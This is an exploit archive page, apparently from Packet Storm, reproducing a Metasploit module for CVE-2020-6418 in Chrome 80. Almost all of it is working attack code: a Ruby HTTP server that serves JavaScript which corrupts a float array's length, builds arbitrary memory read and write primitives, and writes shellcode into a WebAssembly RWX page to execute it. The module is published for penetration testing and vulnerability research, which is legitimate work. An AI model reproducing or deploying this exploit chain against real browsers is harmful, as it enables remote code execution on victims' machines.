what you don't know can hurt you

Google Chrome 80 JSCreate Side-Effect Type Confusion

Google Chrome 80 JSCreate Side-Effect Type Confusion
Posted Mar 5, 2020
Authored by Clement LECIGNE, timwr, Istvan Kurucsai, Vignesh S Rao | Site metasploit.com

This Metasploit module exploits an issue in Google Chrome version 80.0.3987.87 (64 bit). The exploit corrupts the length of a float array (float_rel), which can then be used for out of bounds read and write on adjacent memory. The relative read and write is then used to modify a UInt64Array (uint64_aarw) which is used for read and writing from absolute memory. The exploit then uses WebAssembly in order to allocate a region of RWX memory, which is then replaced with the payload shellcode. The payload is executed within the sandboxed renderer process, so the browser must be run with the --no-sandbox option for the payload to work correctly.

tags | exploit, shellcode
advisories | CVE-2020-6418
MD5 | 2477d57f77b12b3980be7a18ed9dedf2

Google Chrome 80 JSCreate Side-Effect Type Confusion

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Post::File
include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Google Chrome 80 JSCreate side-effect type confusion exploit',
'Description' => %q{
This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit
corrupts the length of a float array (float_rel), which can then be used for out
of bounds read and write on adjacent memory.
The relative read and write is then used to modify a UInt64Array (uint64_aarw)
which is used for read and writing from absolute memory.
The exploit then uses WebAssembly in order to allocate a region of RWX memory,
which is then replaced with the payload shellcode.
The payload is executed within the sandboxed renderer process, so the browser
must be run with the --no-sandbox option for the payload to work correctly.
},
'License' => MSF_LICENSE,
'Author' => [
'Clément Lecigne', # discovery
'István Kurucsai', # exploit
'Vignesh S Rao', # exploit
'timwr', # metasploit copypasta
],
'References' => [
['CVE', '2020-6418'],
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=1053604'],
['URL', 'https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping'],
['URL', 'https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90'],
],
'Arch' => [ ARCH_X64 ],
'DefaultTarget' => 0,
'Targets' =>
[
['Windows 10 - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'win'}],
['macOS - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'osx'}],
],
'DisclosureDate' => 'Feb 19 2020'))
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
])
end

def on_request_uri(cli, request)
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
print_status("[*] #{request.body}")
send_response(cli, '')
return
end

print_status("Sending #{request.uri} to #{request['User-Agent']}")
escaped_payload = Rex::Text.to_unescape(payload.raw)
jscript = %Q^
var shellcode = unescape("#{escaped_payload}");

// HELPER FUNCTIONS
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
int_view[0] = this;
return float_view[0];
}
BigInt.prototype.smi2f = function() {
int_view[0] = this << 32n;
return float_view[0];
}
Number.prototype.f2i = function() {
float_view[0] = this;
return int_view[0];
}
Number.prototype.f2smi = function() {
float_view[0] = this;
return int_view[0] >> 32n;
}

Number.prototype.fhw = function() {
float_view[0] = this;
return int_view[0] >> 32n;
}

Number.prototype.flw = function() {
float_view[0] = this;
return int_view[0] & BigInt(2**32-1);
}

Number.prototype.i2f = function() {
return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
return BigInt(this).smi2f();
}

function hex(a) {
return a.toString(16);
}

//
// EXPLOIT
//

// the number of holes here determines the OOB write offset
let vuln = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];
var float_rel; // float array, initially corruption target
var float_carw; // float array, used for reads/writes within the compressed heap
var uint64_aarw; // uint64 typed array, used for absolute reads/writes in the entire address space
var obj_leaker; // used to implement addrof
vuln.pop();
vuln.pop();
vuln.pop();

function empty() {}

function f(nt) {
// The compare operation enforces an effect edge between JSCreate and Array.push, thus introducing the bug
vuln.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05);
for (var i = 0; i < 0x10000; ++i) {};
}

let p = new Proxy(Object, {
get: function() {
vuln[0] = {};
float_rel = [0.2, 1.2, 2.2, 3.2, 4.3];
float_carw = [6.6];
uint64_aarw = new BigUint64Array(4);
obj_leaker = {
a: float_rel,
b: float_rel,
};

return Object.prototype;
}
});

function main(o) {
for (var i = 0; i < 0x10000; ++i) {};
return f(o);
}

// reads 4 bytes from the compressed heap at the specified dword offset after float_rel
function crel_read4(offset) {
var qw_offset = Math.floor(offset / 2);
if (offset & 1 == 1) {
return float_rel[qw_offset].fhw();
} else {
return float_rel[qw_offset].flw();
}
}

// writes the specified 4-byte BigInt value to the compressed heap at the specified offset after float_rel
function crel_write4(offset, val) {
var qw_offset = Math.floor(offset / 2);
// we are writing an 8-byte double under the hood
// read out the other half and keep its value
if (offset & 1 == 1) {
temp = float_rel[qw_offset].flw();
new_val = (val << 32n | temp).i2f();
float_rel[qw_offset] = new_val;
} else {
temp = float_rel[qw_offset].fhw();
new_val = (temp << 32n | val).i2f();
float_rel[qw_offset] = new_val;
}
}

const float_carw_elements_offset = 0x14;

function cabs_read4(caddr) {
elements_addr = caddr - 8n | 1n;
crel_write4(float_carw_elements_offset, elements_addr);
print('cabs_read4: ' + hex(float_carw[0].f2i()));
res = float_carw[0].flw();
// TODO restore elements ptr
return res;
}


// This function provides arbitrary within read the compressed heap
function cabs_read8(caddr) {
elements_addr = caddr - 8n | 1n;
crel_write4(float_carw_elements_offset, elements_addr);
print('cabs_read8: ' + hex(float_carw[0].f2i()));
res = float_carw[0].f2i();
// TODO restore elements ptr
return res;
}

// This function provides arbitrary write within the compressed heap
function cabs_write4(caddr, val) {
elements_addr = caddr - 8n | 1n;

temp = cabs_read4(caddr + 4n | 1n);
print('cabs_write4 temp: '+ hex(temp));

new_val = (temp << 32n | val).i2f();

crel_write4(float_carw_elements_offset, elements_addr);
print('cabs_write4 prev_val: '+ hex(float_carw[0].f2i()));

float_carw[0] = new_val;
// TODO restore elements ptr
return res;
}

const objleaker_offset = 0x41;
function addrof(o) {
obj_leaker.b = o;
addr = crel_read4(objleaker_offset) & BigInt(2**32-2);
obj_leaker.b = {};
return addr;
}

const uint64_externalptr_offset = 0x1b; // in 8-bytes

// Arbitrary read. We corrupt the backing store of the `uint64_aarw` array and then read from the array
function read8(addr) {
faddr = addr.i2f();
t1 = float_rel[uint64_externalptr_offset];
t2 = float_rel[uint64_externalptr_offset + 1];
float_rel[uint64_externalptr_offset] = faddr;
float_rel[uint64_externalptr_offset + 1] = 0.0;

val = uint64_aarw[0];

float_rel[uint64_externalptr_offset] = t1;
float_rel[uint64_externalptr_offset + 1] = t2;
return val;
}

// Arbitrary write. We corrupt the backing store of the `uint64_aarw` array and then write into the array
function write8(addr, val) {
faddr = addr.i2f();
t1 = float_rel[uint64_externalptr_offset];
t2 = float_rel[uint64_externalptr_offset + 1];
float_rel[uint64_externalptr_offset] = faddr;
float_rel[uint64_externalptr_offset + 1] = 0.0;

uint64_aarw[0] = val;

float_rel[uint64_externalptr_offset] = t1;
float_rel[uint64_externalptr_offset + 1] = t2;
return val;
}

// Given an array of bigints, this will write all the elements to the address provided as argument
function writeShellcode(addr, sc) {
faddr = addr.i2f();
t1 = float_rel[uint64_externalptr_offset];
t2 = float_rel[uint64_externalptr_offset + 1];
float_rel[uint64_externalptr_offset - 1] = 10;
float_rel[uint64_externalptr_offset] = faddr;
float_rel[uint64_externalptr_offset + 1] = 0.0;

for (var i = 0; i < sc.length; ++i) {
uint64_aarw[i] = sc[i]
}

float_rel[uint64_externalptr_offset] = t1;
float_rel[uint64_externalptr_offset + 1] = t2;
}


function get_compressed_rw() {

for (var i = 0; i < 0x10000; ++i) {empty();}

main(empty);
main(empty);

// Function would be jit compiled now.
main(p);

print(`Corrupted length of float_rel array = ${float_rel.length}`);
}

function get_arw() {
get_compressed_rw();
print('should be 0x2: ' + hex(crel_read4(0x15)));
let previous_elements = crel_read4(0x14);
//print(hex(previous_elements));
//print(hex(cabs_read4(previous_elements)));
//print(hex(cabs_read4(previous_elements + 4n)));
cabs_write4(previous_elements, 0x66554433n);
//print(hex(cabs_read4(previous_elements)));
//print(hex(cabs_read4(previous_elements + 4n)));

print('addrof(float_rel): ' + hex(addrof(float_rel)));
uint64_aarw[0] = 0x4142434445464748n;
}

function rce() {
function get_wasm_func() {
var importObject = {
imports: { imported_func: arg => print(arg) }
};
bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
wasm_code = new Uint8Array(bc);
wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
return wasm_mod.exports.exported_func;
}

let wasm_func = get_wasm_func();
// traverse the JSFunction object chain to find the RWX WebAssembly code page
let wasm_func_addr = addrof(wasm_func);
let sfi = cabs_read4(wasm_func_addr + 12n) - 1n;
print('sfi: ' + hex(sfi));
let WasmExportedFunctionData = cabs_read4(sfi + 4n) - 1n;
print('WasmExportedFunctionData: ' + hex(WasmExportedFunctionData));

let instance = cabs_read4(WasmExportedFunctionData + 8n) - 1n;
print('instance: ' + hex(instance));

let wasm_rwx_addr = cabs_read8(instance + 0x68n);
print('wasm_rwx_addr: ' + hex(wasm_rwx_addr));

// write the shellcode to the RWX page
while(shellcode.length % 4 != 0){
shellcode += "\u9090";
}

let sc = [];

// convert the shellcode to BigInt
for (let i = 0; i < shellcode.length; i += 4) {
sc.push(BigInt(shellcode.charCodeAt(i)) + BigInt(shellcode.charCodeAt(i + 1) * 0x10000) + BigInt(shellcode.charCodeAt(i + 2) * 0x100000000) + BigInt(shellcode.charCodeAt(i + 3) * 0x1000000000000));
}

writeShellcode(wasm_rwx_addr,sc);

print('success');
wasm_func();
}


function exp() {
get_arw();
rce();
}

exp();
^

if datastore['DEBUG_EXPLOIT']
debugjs = %Q^
print = function(arg) {
var request = new XMLHttpRequest();
request.open("POST", "/print", false);
request.send("" + arg);
};
^
jscript = "#{debugjs}#{jscript}"
else
jscript.gsub!(/\/\/.*$/, '') # strip comments
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
end

html = %Q^
<html>
<head>
<script>
#{jscript}
</script>
</head>
<body>
</body>
</html>
^
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
end

end
Login or Register to add favorites

File Archive:

September 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    20 Files
  • 2
    Sep 2nd
    15 Files
  • 3
    Sep 3rd
    15 Files
  • 4
    Sep 4th
    4 Files
  • 5
    Sep 5th
    1 Files
  • 6
    Sep 6th
    1 Files
  • 7
    Sep 7th
    15 Files
  • 8
    Sep 8th
    27 Files
  • 9
    Sep 9th
    7 Files
  • 10
    Sep 10th
    16 Files
  • 11
    Sep 11th
    9 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    25 Files
  • 15
    Sep 15th
    15 Files
  • 16
    Sep 16th
    15 Files
  • 17
    Sep 17th
    15 Files
  • 18
    Sep 18th
    12 Files
  • 19
    Sep 19th
    1 Files
  • 20
    Sep 20th
    1 Files
  • 21
    Sep 21st
    15 Files
  • 22
    Sep 22nd
    21 Files
  • 23
    Sep 23rd
    8 Files
  • 24
    Sep 24th
    15 Files
  • 25
    Sep 25th
    4 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close